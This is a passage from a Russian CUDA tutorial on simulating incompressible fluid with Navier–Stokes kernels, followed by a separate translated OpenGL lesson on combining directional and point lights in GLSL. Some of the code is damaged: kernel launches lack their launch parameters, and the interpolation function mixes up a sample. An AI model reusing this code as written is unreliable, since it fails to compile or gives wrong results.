float force = 5000.0f,
float bloomIntense = 25000.0f,
int radius = 500,
bool bloom = true
)
{
config.velocityDiffusion = vDiffusion;
config.pressure = pressure;
config.vorticity = vorticity;
config.colorDiffusion = cDiffuion;
config.densityDiffusion = dDiffuion;
config.forceScale = force;
config.bloomIntense = bloomIntense;
config.radius = radius;
config.bloomEnabled = bloom;
}
static const int colorArraySize = 7;
Color3f colorArray[colorArraySize];
static Particle* newField;
static Particle* oldField;
static uint8_t* colorField;
static size_t xSize, ySize;
static float* pressureOld;
static float* pressureNew;
static float* vorticityField;
static Color3f currentColor;
static float elapsedTime = 0.0f;
static float timeSincePress = 0.0f;
static float bloomIntense;
int lastXpos = -1, lastYpos = -1;
```
Атрибут \_\_host\_\_ перед именем метода означает, что код может исполнятся на CPU, \_\_device\_\_, наоборот, обязует компилятор собирать код под GPU. В коде объявляются примитивы для работы с двухкомпонентными векторами, цветом, конфиги с параметрами, которые можно менять в рантайме, а также несколько статических указателей на массивы, которые мы будем использовать как буферы для вычислений.
**cudaInit** и **cudaExit** также определяеются достаточно тривиально:
**kernel.cu (init)**
```
void cudaInit(size_t x, size_t y)
{
setConfig();
colorArray[0] = { 1.0f, 0.0f, 0.0f };
colorArray[1] = { 0.0f, 1.0f, 0.0f };
colorArray[2] = { 1.0f, 0.0f, 1.0f };
colorArray[3] = { 1.0f, 1.0f, 0.0f };
colorArray[4] = { 0.0f, 1.0f, 1.0f };
colorArray[5] = { 1.0f, 0.0f, 1.0f };
colorArray[6] = { 1.0f, 0.5f, 0.3f };
int idx = rand() % colorArraySize;
currentColor = colorArray[idx];
xSize = x, ySize = y;
cudaSetDevice(0);
cudaMalloc(&colorField, xSize * ySize * 4 * sizeof(uint8_t));
cudaMalloc(&oldField, xSize * ySize * sizeof(Particle));
cudaMalloc(&newField, xSize * ySize * sizeof(Particle));
cudaMalloc(&pressureOld, xSize * ySize * sizeof(float));
cudaMalloc(&pressureNew, xSize * ySize * sizeof(float));
cudaMalloc(&vorticityField, xSize * ySize * sizeof(float));
}
void cudaExit()
{
cudaFree(colorField);
cudaFree(oldField);
cudaFree(newField);
cudaFree(pressureOld);
cudaFree(pressureNew);
cudaFree(vorticityField);
}
```
В функции инициализации мы выделяем память под двумерные массивы, задаем массив цветов, которые мы будем использовать для раскраски жидкости, а также устанавливаем в конфиг значения по умолчанию. В **cudaExit** мы просто освобождаем все буферы. Как бы это парадоксально не звучало, для хранения двумерных массивов выгоднее всего использовать одномерные, обращение к которым будет осуществляться таким выражением:
```
array[y * size_x + x]; // equals to array[y][x]
```
Начнем реализацию непосредственного алгоритма с функции перемещения частиц. В **advect** передаются поля *oldField* и *newField* (то поле, откуда берутся данные и то, куда они записываются), размер массива, а также дельта времени и коэффициент плотности (используется для того, чтобы ускорить растворение красителя в жидкости и сделать среду не сильно чувствительной к действиям пользователя). Функция [билинейной интерполяции](https://ru.wikipedia.org/wiki/%D0%91%D0%B8%D0%BB%D0%B8%D0%BD%D0%B5%D0%B9%D0%BD%D0%B0%D1%8F_%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D0%BF%D0%BE%D0%BB%D1%8F%D1%86%D0%B8%D1%8F) реализована классическим образом через вычисление промежуточных значений:
**kernel.cu (advect)**
```
// interpolates quantity of grid cells
__device__ Particle interpolate(Vec2 v, Particle* field, size_t xSize, size_t ySize)
{
float x1 = (int)v.x;
float y1 = (int)v.y;
float x2 = (int)v.x + 1;
float y2 = (int)v.y + 1;
Particle q1, q2, q3, q4;
#define CLAMP(val, minv, maxv) min(maxv, max(minv, val))
#define SET(Q, x, y) Q = field[int(CLAMP(y, 0.0f, ySize - 1.0f)) * xSize + int(CLAMP(x, 0.0f, xSize - 1.0f))]
SET(q1, x1, y1);
SET(q2, x1, y2);
SET(q3, x2, y1);
SET(q4, x2, y2);
#undef SET
#undef CLAMP
float t1 = (x2 - v.x) / (x2 - x1);
float t2 = (v.x - x1) / (x2 - x1);
Vec2 f1 = q1.u * t1 + q3.u * t2;
Vec2 f2 = q2.u * t1 + q4.u * t2;
Color3f C1 = q2.color * t1 + q4.color * t2;
Color3f C2 = q2.color * t1 + q4.color * t2;
float t3 = (y2 - v.y) / (y2 - y1);
float t4 = (v.y - y1) / (y2 - y1);
Particle res;
res.u = f1 * t3 + f2 * t4;
res.color = C1 * t3 + C2 * t4;
return res;
}
// adds quantity to particles using bilinear interpolation
__global__ void advect(Particle* newField, Particle* oldField, size_t xSize, size_t ySize, float dDiffusion, float dt)
{
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
float decay = 1.0f / (1.0f + dDiffusion * dt);
Vec2 pos = { x * 1.0f, y * 1.0f };
Particle& Pold = oldField[y * xSize + x];
// find new particle tracing where it came from
Particle p = interpolate(pos - Pold.u * dt, oldField, xSize, ySize);
p.u = p.u * decay;
p.color = p.color * decay;
newField[y * xSize + x] = p;
}
```
Функцию диффузии вязкости было решено разделить на несколько частей: из главного кода вызывается **computeDiffusion**, которая вызывает **diffuse** и **computeColor** заранее указанное число раз, а затем меняет местами массив, откуда мы берем данные, и тот, куда мы их записываем. Это самый простой способ реализовать параллельную обработку данных, но мы расходует в два раза больше памяти.
Обе функции вызывают вариации метода Якоби. В теле **jacobiColor** и **jacobiVelocity** сразу же идет проверка, что текущие элементы не находятся на границе — в этом случае мы должны установить их в соответствии с формулами, изложенными в разделе *Граничные и начальные условия*.
**kernel.cu (diffuse)**
```
// performs iteration of jacobi method on color grid field
__device__ Color3f jacobiColor(Particle* colorField, size_t xSize, size_t ySize, Vec2 pos, Color3f B, float alpha, float beta)
{
Color3f xU, xD, xL, xR, res;
int x = pos.x;
int y = pos.y;
#define SET(P, x, y) if (x < xSize && x >= 0 && y < ySize && y >= 0) P = colorField[int(y) * xSize + int(x)]
SET(xU, x, y - 1).color;
SET(xD, x, y + 1).color;
SET(xL, x - 1, y).color;
SET(xR, x + 1, y).color;
#undef SET
res = (xU + xD + xL + xR + B * alpha) * (1.0f / beta);
return res;
}
// calculates color field diffusion
__global__ void computeColor(Particle* newField, Particle* oldField, size_t xSize, size_t ySize, float cDiffusion, float dt)
{
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
Vec2 pos = { x * 1.0f, y * 1.0f };
Color3f c = oldField[y * xSize + x].color;
float alpha = cDiffusion * cDiffusion / dt;
float beta = 4.0f + alpha;
// perfom one iteration of jacobi method (diffuse method should be called 20-50 times per cell)
newField[y * xSize + x].color = jacobiColor(oldField, xSize, ySize, pos, c, alpha, beta);
}
// performs iteration of jacobi method on velocity grid field
__device__ Vec2 jacobiVelocity(Particle* field, size_t xSize, size_t ySize, Vec2 v, Vec2 B, float alpha, float beta)
{
Vec2 vU = B * -1.0f, vD = B * -1.0f, vR = B * -1.0f, vL = B * -1.0f;
#define SET(U, x, y) if (x < xSize && x >= 0 && y < ySize && y >= 0) U = field[int(y) * xSize + int(x)].u
SET(vU, v.x, v.y - 1);
SET(vD, v.x, v.y + 1);
SET(vL, v.x - 1, v.y);
SET(vR, v.x + 1, v.y);
#undef SET
v = (vU + vD + vL + vR + B * alpha) * (1.0f / beta);
return v;
}
// calculates nonzero divergency velocity field u
__global__ void diffuse(Particle* newField, Particle* oldField, size_t xSize, size_t ySize, float vDiffusion, float dt)
{
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
Vec2 pos = { x * 1.0f, y * 1.0f };
Vec2 u = oldField[y * xSize + x].u;
// perfoms one iteration of jacobi method (diffuse method should be called 20-50 times per cell)
float alpha = vDiffusion * vDiffusion / dt;
float beta = 4.0f + alpha;
newField[y * xSize + x].u = jacobiVelocity(oldField, xSize, ySize, pos, u, alpha, beta);
}
// performs several iterations over velocity and color fields
void computeDiffusion(dim3 numBlocks, dim3 threadsPerBlock, float dt)
{
// diffuse velocity and color
for (int i = 0; i < sConfig.velocityIterations; i++)
{
diffuse<<>>(newField, oldField, xSize, ySize, config.velocityDiffusion, dt);
computeColor<<>>(newField, oldField, xSize, ySize, config.colorDiffusion, dt);
std::swap(newField, oldField);
}
}
```
Применение внешней силы реализовано через единственную функцию — **applyForce**, принимающую как аргументы позицию мыши, цвет красителя, а также радиус действия. С ее помощью мы можем придать скорость частицам, а также красить их. братная экспонента позволяет сделать область не слишком резкой, и при этом достаточно четкой в указанном радиусе.
**kernel.cu (force)**
```
// applies force and add color dye to the particle field
__global__ void applyForce(Particle* field, size_t xSize, size_t ySize, Color3f color, Vec2 F, Vec2 pos, int r, float dt)
{
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
float e = expf((-(powf(x - pos.x, 2) + powf(y - pos.y, 2))) / r);
Vec2 uF = F * dt * e;
Particle& p = field[y * xSize + x];
p.u = p.u + uF;
color = color * e + p.color;
p.color.R = min(1.0f, color.R);
p.color.G = min(1.0f, color.G);
p.color.B = min(1.0f, color.B);
}
```
Расчет завихренности представляет из себя уже более сложный процесс, поэтому его мы реализуем в **computeVorticity** и **applyVorticity**, заметим также, что для них необходимо определить два таких векторных оператора, как **curl** (ротор) и **absGradient** (градиент абсолютных значений поля). Чтобы задать дополнительные эффекты вихря, мы умножаем  компоненту вектора градиента на , а затем нормализируем его, разделив на длину (не забыв при этом проверить, что вектор ненулевой):
**kernel.cu (vorticity)**
```
// computes curl of velocity field
__device__ float curl(Particle* field, size_t xSize, size_t ySize, int x, int y)
{
Vec2 C = field[int(y) * xSize + int(x)].u;
#define SET(P, x, y) if (x < xSize && x >= 0 && y < ySize && y >= 0) P = field[int(y) * xSize + int(x)]
float x1 = -C.x, x2 = -C.x, y1 = -C.y, y2 = -C.y;
SET(x1, x + 1, y).u.x;
SET(x2, x - 1, y).u.x;
SET(y1, x, y + 1).u.y;
SET(y2, x, y - 1).u.y;
#undef SET
float res = ((y1 - y2) - (x1 - x2)) * 0.5f;
return res;
}
// computes absolute value gradient of vorticity field
__device__ Vec2 absGradient(float* field, size_t xSize, size_t ySize, int x, int y)
{
float C = field[int(y) * xSize + int(x)];
#define SET(P, x, y) if (x < xSize && x >= 0 && y < ySize && y >= 0) P = field[int(y) * xSize + int(x)]
float x1 = C, x2 = C, y1 = C, y2 = C;
SET(x1, x + 1, y);
SET(x2, x - 1, y);
SET(y1, x, y + 1);
SET(y2, x, y - 1);
#undef SET
Vec2 res = { (abs(x1) - abs(x2)) * 0.5f, (abs(y1) - abs(y2)) * 0.5f };
return res;
}
// computes vorticity field which should be passed to applyVorticity function
__global__ void computeVorticity(float* vField, Particle* field, size_t xSize, size_t ySize)
{
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
vField[y * xSize + x] = curl(field, xSize, ySize, x, y);
}
// applies vorticity to velocity field
__global__ void applyVorticity(Particle* newField, Particle* oldField, float* vField, size_t xSize, size_t ySize, float vorticity, float dt)
{
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
Particle& pOld = oldField[y * xSize + x];
Particle& pNew = newField[y * xSize + x];
Vec2 v = absGradient(vField, xSize, ySize, x, y);
v.y *= -1.0f;
float length = sqrtf(v.x * v.x + v.y * v.y) + 1e-5f;
Vec2 vNorm = v * (1.0f / length);
Vec2 vF = vNorm * vField[y * xSize + x] * vorticity;
pNew = pOld;
pNew.u = pNew.u + vF * dt;
}
```
Следующим этапом алгоритма будет вычисление скалярного поля давления и его проекция на поле скорости. Для этого нам потребуется реализовать 4 функции: **divergency**, которая будет считать дивергенцию скорости, **jacobiPressure**, реализующую метод Якоби для давления, и **computePressure** c **computePressureImpl**, проводящие итеративные вычисления поля:
**kernel.cu (pressure)**
```
// performs iteration of jacobi method on pressure grid field
__device__ float jacobiPressure(float* pressureField, size_t xSize, size_t ySize, int x, int y, float B, float alpha, float beta)
{
float C = pressureField[int(y) * xSize + int(x)];
float xU = C, xD = C, xL = C, xR = C;
#define SET(P, x, y) if (x < xSize && x >= 0 && y < ySize && y >= 0) P = pressureField[int(y) * xSize + int(x)]
SET(xU, x, y - 1);
SET(xD, x, y + 1);
SET(xL, x - 1, y);
SET(xR, x + 1, y);
#undef SET
float pressure = (xU + xD + xL + xR + alpha * B) * (1.0f / beta);
return pressure;
}
// computes divergency of velocity field
__device__ float divergency(Particle* field, size_t xSize, size_t ySize, int x, int y)
{
Particle& C = field[int(y) * xSize + int(x)];
float x1 = -1 * C.u.x, x2 = -1 * C.u.x, y1 = -1 * C.u.y, y2 = -1 * C.u.y;
#define SET(P, x, y) if (x < xSize && x >= 0 && y < ySize && y >= 0) P = field[int(y) * xSize + int(x)]
SET(x1, x + 1, y).u.x;
SET(x2, x - 1, y).u.x;
SET(y1, x, y + 1).u.y;
SET(y2, x, y - 1).u.y;
#undef SET
return (x1 - x2 + y1 - y2) * 0.5f;
}
// performs iteration of jacobi method on pressure field
__global__ void computePressureImpl(Particle* field, size_t xSize, size_t ySize, float* pNew, float* pOld, float pressure, float dt)
{
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
float div = divergency(field, xSize, ySize, x, y);
float alpha = -1.0f * pressure * pressure;
float beta = 4.0;
pNew[y * xSize + x] = jacobiPressure(pOld, xSize, ySize, x, y, div, alpha, beta);
}
// performs several iterations over pressure field
void computePressure(dim3 numBlocks, dim3 threadsPerBlock, float dt)
{
for (int i = 0; i < sConfig.pressureIterations; i++)
{
computePressureImpl<<>>(oldField, xSize, ySize, pressureNew, pressureOld, config.pressure, dt);
std::swap(pressureOld, pressureNew);
}
}
```
Проекция умещается в две небольшие функции — **project** и вызываемой ей **gradient** для давления. Это, можно сказать, последний этап нашего алгоритма симуляции:
**kernel.cu (project)**
```
// computes gradient of pressure field
__device__ Vec2 gradient(float* field, size_t xSize, size_t ySize, int x, int y)
{
float C = field[y * xSize + x];
#define SET(P, x, y) if (x < xSize && x >= 0 && y < ySize && y >= 0) P = field[int(y) * xSize + int(x)]
float x1 = C, x2 = C, y1 = C, y2 = C;
SET(x1, x + 1, y);
SET(x2, x - 1, y);
SET(y1, x, y + 1);
SET(y2, x, y - 1);
#undef SET
Vec2 res = { (x1 - x2) * 0.5f, (y1 - y2) * 0.5f };
return res;
}
// projects pressure field on velocity field
__global__ void project(Particle* newField, size_t xSize, size_t ySize, float* pField)
{
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
Vec2& u = newField[y * xSize + x].u;
u = u - gradient(pField, xSize, ySize, x, y);
}
```
После проекции мы смело можем перейти к отрисовке изображения в буфер и различным пост-эффектам. В функции **paint** выполняется копирование цветов из поля частиц в массив RGBA. Также была реализована функция **applyBloom**, которая подсвечивает жидкость, когда на нее наведен курсор и нажата клавиша мыши. Из опыта, такой прием делает картину более приятной и интересной для глаз пользователя, но он вовсе не обязателен.
В постобработке также можно подсвечивать места, в которых жидкость имеет наибольшую скорость, менять цвет в зависимости от вектора движения, добавлять различные эффекты и прочее, но в нашем случае мы ограничимся своеобразным минимумом, ведь даже с ним изображения получаются весьма завораживающими (особенно в динамике):
**kernel.cu (paint)**
```
// adds flashlight effect near the mouse position
__global__ void applyBloom(uint8_t* colorField, size_t xSize, size_t ySize, int xpos, int ypos, float bloomIntense)
{
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
int pos = 4 * (y * xSize + x);
float e = expf(-(powf(x - xpos, 2) + powf(y - ypos, 2)) * (1.0f / (bloomIntense + 1e-5f)));
uint8_t R = colorField[pos + 0];
uint8_t G = colorField[pos + 1];
uint8_t B = colorField[pos + 2];
uint8_t maxval = max(R, max(G, B));
colorField[pos + 0] = min(255.0f, R + maxval * e);
colorField[pos + 1] = min(255.0f, G + maxval * e);
colorField[pos + 2] = min(255.0f, B + maxval * e);
}
// fills output image with corresponding color
__global__ void paint(uint8_t* colorField, Particle* field, size_t xSize, size_t ySize)
{
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
float R = field[y * xSize + x].color.R;
float G = field[y * xSize + x].color.G;
float B = field[y * xSize + x].color.B;
colorField[4 * (y * xSize + x) + 0] = min(255.0f, 255.0f * R);
colorField[4 * (y * xSize + x) + 1] = min(255.0f, 255.0f * G);
colorField[4 * (y * xSize + x) + 2] = min(255.0f, 255.0f * B);
colorField[4 * (y * xSize + x) + 3] = 255;
}
```
И под конец у нас осталась одна главная функция, которую мы вызываем из **main.cpp** — **computeField**. Она сцепляет воедино все кусочки алгоритма, вызывая код на видеокарте, а также копирует данные с gpu на cpu. В ней же находится и расчет вектора импульса и выбор цвета красителя, которые мы передаем в **applyForce**:
**kernel.cu (main function)**
```
// main function, calls vorticity -> diffusion -> force -> pressure -> project -> advect -> paint -> bloom
void computeField(uint8_t* result, float dt, int x1pos, int y1pos, int x2pos, int y2pos, bool isPressed)
{
dim3 threadsPerBlock(sConfig.xThreads, sConfig.yThreads);
dim3 numBlocks(xSize / threadsPerBlock.x, ySize / threadsPerBlock.y);
// curls and vortisity
computeVorticity<<>>(vorticityField, oldField, xSize, ySize);
applyVorticity<<>>(newField, oldField, vorticityField, xSize, ySize, config.vorticity, dt);
std::swap(oldField, newField);
// diffuse velocity and color
computeDiffusion(numBlocks, threadsPerBlock, dt);
// apply force
if (isPressed)
{
timeSincePress = 0.0f;
elapsedTime += dt;
// apply gradient to color
int roundT = int(elapsedTime) % colorArraySize;
int ceilT = int((elapsedTime) + 1) % colorArraySize;
float w = elapsedTime - int(elapsedTime);
currentColor = colorArray[roundT] \* (1 - w) + colorArray[ceilT] \* w;
Vec2 F;
float scale = config.forceScale;
F.x = (x2pos - x1pos) \* scale;
F.y = (y2pos - y1pos) \* scale;
Vec2 pos = { x2pos \* 1.0f, y2pos \* 1.0f };
applyForce<<>>(oldField, xSize, ySize, currentColor, F, pos, config.radius, dt);
}
else
{
timeSincePress += dt;
}
// compute pressure
computePressure(numBlocks, threadsPerBlock, dt);
// project
project<<>>(oldField, xSize, ySize, pressureOld);
cudaMemset(pressureOld, 0, xSize \* ySize \* sizeof(float));
// advect
advect<<>>(newField, oldField, xSize, ySize, config.densityDiffusion, dt);
std::swap(newField, oldField);
// paint image
paint<<>>(colorField, oldField, xSize, ySize);
// apply bloom in mouse pos
if (config.bloomEnabled && timeSincePress < 5.0f)
{
applyBloom<<>>(colorField, xSize, ySize, x2pos, y2pos, config.bloomIntense / timeSincePress);
}
// copy image to cpu
size\_t size = xSize \* ySize \* 4 \* sizeof(uint8\_t);
cudaMemcpy(result, colorField, size, cudaMemcpyDeviceToHost);
cudaError\_t error = cudaGetLastError();
if (error != cudaSuccess)
{
std::cout << cudaGetErrorName(error) << std::endl;
}
}
```
Заключение
----------
В этой статье мы разобрали численный алгоритм решения уравнения Навье-Стокса и написали небольшую программу-симуляцию для несжимаемой жидкости. Быть может мы и не разобрались во всех тонкостях, но я надеюсь, что материал оказался для вас интересным и полезным, и как минимум послужил хорошим введением в область моделирования жидкостей.
Как автор данной статьи, я буду искренне признателен любым комментариям и дополнениям, и постараюсь ответить на все возникшие у вас вопросы под этим постом.
### Дополнительный материал
Весь исходный код, приведенный в данной статье, вы можете найти в моем [Github-репозитории](https://github.com/MomoDeve/FluidSimulation/). Любые предложения по улучшению приветствуются.
Оригинальный материал, послуживший основой для данной статьи, вы можете прочесть на официальном сайте Nvidia (англ). В нем также представлены примеры реализации частей алгоритма на языке шейдеров:
[developer.download.nvidia.com/books/HTML/gpugems/gpugems\_ch38.html](http://developer.download.nvidia.com/books/HTML/gpugems/gpugems_ch38.html)
Доказательство теоремы разложения Гельмгольца и огромное количество дополнительного материала про механику жидкостей можно найти в данной книге (англ, см. раздел 1.2):
**Chorin, A.J., and J.E. Marsden. 1993. A Mathematical Introduction to Fluid Mechanics. 3rd ed. Springer**.
Канал одного англоязычного ютубера, делающего качественный контент, связанной с математикой, и решением дифференциальных уравнений в частности (англ). Очень наглядные ролики, помогающие понять суть многих вещей в математике и физике:
[3Blue1Brown — YouTube](https://www.youtube.com/channel/UCYO_jab_esuFRV4b17AJtAw)
[Differential Equations (3Blue1Brown)](https://www.youtube.com/watch?v=p_di4Zn4wz4&list=PLZHQObOWTQDNPOjrT6KVlfJuKtYTftqH6)
Также выражаю благодарность [WhiteBlackGoose](https://habr.com/ru/users/whiteblackgoose/) за помощь в подготовке материала для статьи.
---
И под конец небольшой бонус — несколько красивых скриншотов, снятых в программе:

*Прямой поток (дефолтные настройки)*

*Водоворот (большой радиус в applyForce)*

*Волна (высокая завихренность + диффузия)*
Также по многочисленным просьбам добавил видео с работой симуляции: | https://habr.com/ru/post/470742/ | null | ru | null |
# learnopengl. Урок 2.6 — Несколько источников освещения
### **Несколько источников освещения**
В предыдущих уроках мы выучили довольно много об освещении в OpenGL. Мы познакомились с моделью освещения по Фонгу, разобрались как работать с материалами, текстурными картами и различными типами источника света. В этом уроке мы собираемся объединить все наши знания, чтобы создать полностью освещенную сцену с 6 активными источниками света. Мы собираемся симулировать солнце как направленный источник освещения, добавим 4 точки света, разбросанные по всей сцене, и конечно мы добавим фонарик.
**В предыдущих сериях**
Часть 1. Начало
1. [OpenGL](https://habrahabr.ru/post/310790/)
2. [Создание окна](https://habrahabr.ru/post/311198/)
3. [Hello Window](https://habrahabr.ru/post/311234/)
4. [Hello Triangle](https://habrahabr.ru/post/311808/)
5. [Shaders](https://habrahabr.ru/post/313380/)
6. [Текстуры](https://habrahabr.ru/post/315294/)
7. [Трансформации](https://habrahabr.ru/post/319144/)
8. [Системы координат](https://habrahabr.ru/post/324968/)
9. [Камера](https://habrahabr.ru/post/327604/)
Часть 2. Базовое освещение
1. [Цвета](https://habrahabr.ru/post/329592/)
2. [Основы освещения](https://habrahabr.ru/post/333932/)
3. [Материалы](https://habrahabr.ru/post/336166/)
4. [Текстурные карты](https://habrahabr.ru/post/337550/)
5. [Источники света](https://habrahabr.ru/post/337642/)
Чтобы использовать более чем 1 источник света в сцене, нам следует разбить расчеты типов освещения на функции. Если мы добавим расчеты всех освещений в одну функцию main, то наш код быстро испортится.
Функции в GLSL такие-же как и функции в языке C. У нас есть имя функции, возвращаемый тип и также мы можем объявить её прототип сверху, а описать её снизу. Мы создадим разные функции для каждого типа освещения: **направленного источника освещения**, **точечного источника** и **прожектора**.
При использовании нескольких источников освещение в сцене, подход обычно такой: у нас есть 1 вектор цвета, который представляет выходной цвет фрагмента. Результат вычисления каждого источника света добавляется к этому вектору. То есть мы будем вычислять каждый цвет фрагмента, относительно каждого источника света в сцене, и комбинировать его с выходным цветом. Сама функция main может выглядеть примерно так:
```
void main()
{
// устанавливаем значение нашего выходного цвета
vec3 output = vec3(0.0);
// добавляем значение, полученное из направленного источника освещения
output += someFunctionToCalculateDirectionalLight();
// делаем тоже самое и с точечным источником
for(int i = 0; i < nr_of_point_lights; i++)
output += someFunctionToCalculatePointLight();
// и добавляем остальные значения так же
output += someFunctionToCalculateSpotLight();
FragColor = vec4(output, 1.0);
}
out vec4 FragColor;
```
Конечный код будет отличатся в зависимости от реализации, но функция main останется такой же. Мы определяем наши функции, вычисляющие их цвет для данного фрагмента и добавляем его в наш результат, который мы присваиваем выходному вектору цвета. Если для примера 2 источника света будут близко находится к фрагменту, их комбинацией будет результат более яркий освещенный фрагмент, чем фрагмент освещенный одним источником освещения.
### **Направленный источник освещения**
Нам нужно написать функцию в фрагментальном шейдере, которая вычисляет результат направленного света на какой-либо фрагмент: функция принимает несколько параметров и возвращает вычисленное значение цвета фрагмента.
Первое, что нам нужно, это решить, какой минимальный набор переменных нам нужен для вычисления направленного источника света. Мы будем хранить переменные в структуре DirLight и объявим её объект как uniform. Эти переменные должны быть вам хорошо знакомы с
предыдущего урока:
```
struct DirLight {
vec3 direction;
vec3 ambient;
vec3 diffuse;
vec3 specular;
};
uniform DirLight dirLight;
```
Мы можем передать наш объект dirLight в функцию со следующим прототипом:
```
vec3 CalcDirLight(DirLight light, vec3 normal, vec3 viewDir);
```
> Также как в C и C++, если мы хотим вызвать функцию (в нашем случае внутри функции main) функция должна быть объявлена где-нибудь до того момента, где мы её вызываем. В нашем случае, мы объявим прототип над функцией main, а опишем её где нибудь ниже.
Вы можете видеть, что функция требует DirLight структуру и 2 вектора. Если вы успешно завершили предыдущие уроки, тогда код этой функции не должен вызывать для вас вопросов:
```
vec3 CalcDirLight(DirLight light, vec3 normal, vec3 viewDir)
{
vec3 lightDir = normalize(-light.direction);
// диффузное освещение
float diff = max(dot(normal, lightDir), 0.0);
// освещение зеркальных бликов
vec3 reflectDir = reflect(-lightDir, normal);
float spec = pow(max(dot(viewDir, reflectDir), 0.0), material.shininess);
// комбинируем результаты
vec3 ambient = light.ambient * vec3(texture(material.diffuse, TexCoords));
vec3 diffuse = light.diffuse * diff * vec3(texture(material.diffuse, TexCoords));
vec3 specular = light.specular * spec * vec3(texture(material.specular, TexCoords));
return (ambient + diffuse + specular);
}
```
Пользуясь примером кода с предыдущего урока и используя вектора, которые принимает функция в качестве аргументов, вычисляем результат каждого компонента (ambient, diffuse и specular). Затем суммируем наши компоненты и получаем конечный цвет фрагмента.
### **Точечные источники освещения**
Так же как и в направленном источнике освещения, мы также определяем функцию, вычисляющее цвет фрагмента от точечного света, включая затухание. Также как и в направленном источнике освещения, мы объявим структуру с минимальным набором
переменных для точечного источника:
```
struct PointLight {
vec3 position;
float constant;
float linear;
float quadratic;
vec3 ambient;
vec3 diffuse;
vec3 specular;
};
#define NR_POINT_LIGHTS 4
uniform PointLight pointLights[NR_POINT_LIGHTS];
```
Как вы можете видеть мы использовали препроцессор GLSL, что-бы объявить число точечных источников NR\_POINT\_LIGHTS равное 4. Мы используем эту константу NR\_POINT\_LIGHTS, чтобы создать объект массив структуры PointLight. Массивы в GLSL такие же как и массивы в C и
могут быть созданы с использованием двух квадратных скобок. Прямо сейчас у нас есть 4 объекта pointLights[NR\_POINT\_LIGHTS] структуры PointLigh.
> Мы могли также создать одну большую структуру, которая включала бы все нужные переменные для всех разных типов освещения, и использовали бы её для каждой функции, игнорируя переменные в которых бы мы не нуждались. Хотя, я лично нахожу нынешний подход более лучшим, т.к. не всем типам освещения будут нужны все переменные.
Прототип функции точечного источника:
```
vec3 CalcPointLight(PointLight light, vec3 normal, vec3 fragPos, vec3 viewDir);
```
Функция принимает все данные, в которых она нуждается и возвращает vec3 с вычисленным цветом фрагмента. Снова, несколько манипуляций копировать-вставить из предыдущего урока, приводит к следующему результату:
```
vec3 CalcPointLight(PointLight light, vec3 normal, vec3 fragPos, vec3 viewDir)
{
vec3 lightDir = normalize(light.position - fragPos);
// диффузное освещение
float diff = max(dot(normal, lightDir), 0.0);
// освещение зеркальных бликов
vec3 reflectDir = reflect(-lightDir, normal);
float spec = pow(max(dot(viewDir, reflectDir), 0.0), material.shininess);
// затухание
float distance = length(light.position - fragPos);
float attenuation = 1.0 / (light.constant + light.linear * distance +
light.quadratic * (distance * distance));
// комбинируем результаты
vec3 ambient = light.ambient * vec3(texture(material.diffuse, TexCoords));
vec3 diffuse = light.diffuse * diff * vec3(texture(material.diffuse, TexCoords));
vec3 specular = light.specular * spec * vec3(texture(material.specular, TexCoords));
ambient *= attenuation;
diffuse *= attenuation;
specular *= attenuation;
return (ambient + diffuse + specular);
}
```
Основное преимущество функции, что мы можем рассчитать результирующий цвет, для разных точечных источников, не дублируя код. В функции main мы просто создаем цикл, в котором итерируемся по нашему массиву точечного источника и вызываем функцию CalcPointLight для каждой точки.
### **Объединяем всё вместе**
Теперь, когда мы написали наши функции для направленного и точечного источника освещения, мы можем вызвать их в функции main.
```
void main()
{
// свойства
vec3 norm = normalize(Normal);
vec3 viewDir = normalize(viewPos - FragPos);
// фаза 1: Направленный источник освещения
vec3 result = CalcDirLight(dirLight, norm, viewDir);
// фаза 2: Точечные источники
for(int i = 0; i < NR_POINT_LIGHTS; i++)
result += CalcPointLight(pointLights[i], norm, FragPos, viewDir);
// фаза 3: фонарик
//result += CalcSpotLight(spotLight, norm, FragPos, viewDir);
FragColor = vec4(result, 1.0);
}
```
Каждый тип освещения добавляет свой вклад в выходной вектор цвета, до тех пор, пока не будут обработаны все источники света. Выходной вектор цвета содержит все вычисления источников света в сцене. Если вы хотите, вы можете также добавить сами функцию прожектора, опираясь на код с предыдущего урока. Мы оставим функцию CalcSpotLight в качестве упражнения для читателей.
Установка значений uniform переменным не должна быть для вас незнакомой, но вы можете быть удивлены как мы можем установить uniform переменные для объекта структуры точечного освещения.
Удачно для нас, что это не слишком сложно. Чтобы задать значение конкретному объекту uniform массива, нужно лишь обратиться к этому объекту, как к обычному массиву (через индекс).
```
lightingShader.setFloat("pointLights[0].constant", 1.0f);
```
Здесь мы обращаемся к 1 элементу нашего массива pointLights и устанавливаем значение 1.0f переменной constant. К сожалению это значит, что мы должны таким-же способом установить все переменные, всем элементам массива, что в итоге приведет к 28 строка кода. Вы можете попытаться, написать боле удобный код для этой задачи.
Не забываем, что мы также нуждаемся в position векторе, для каждого точечного источника освещения. Мы определим массив glm::vec3, который будет хранить эти позиции:
```
glm::vec3 pointLightPositions[] = {
glm::vec3( 0.7f, 0.2f, 2.0f),
glm::vec3( 2.3f, -3.3f, -4.0f),
glm::vec3(-4.0f, 2.0f, -12.0f),
glm::vec3( 0.0f, 0.0f, -3.0f)
};
```
Далее, мы просто проиндексируемся по этому массиву и установим значения position для каждого объекта массива pointLight. Также, нам нужно нарисовать 4 световых куба, вместо 1. Простой способ сделать это, передавать разные значения матрицы модели, используя наш только что созданный массив pointLightPositions.
Если вы будите использовать фонарик, то наша сцена будет выглядеть примерно так:

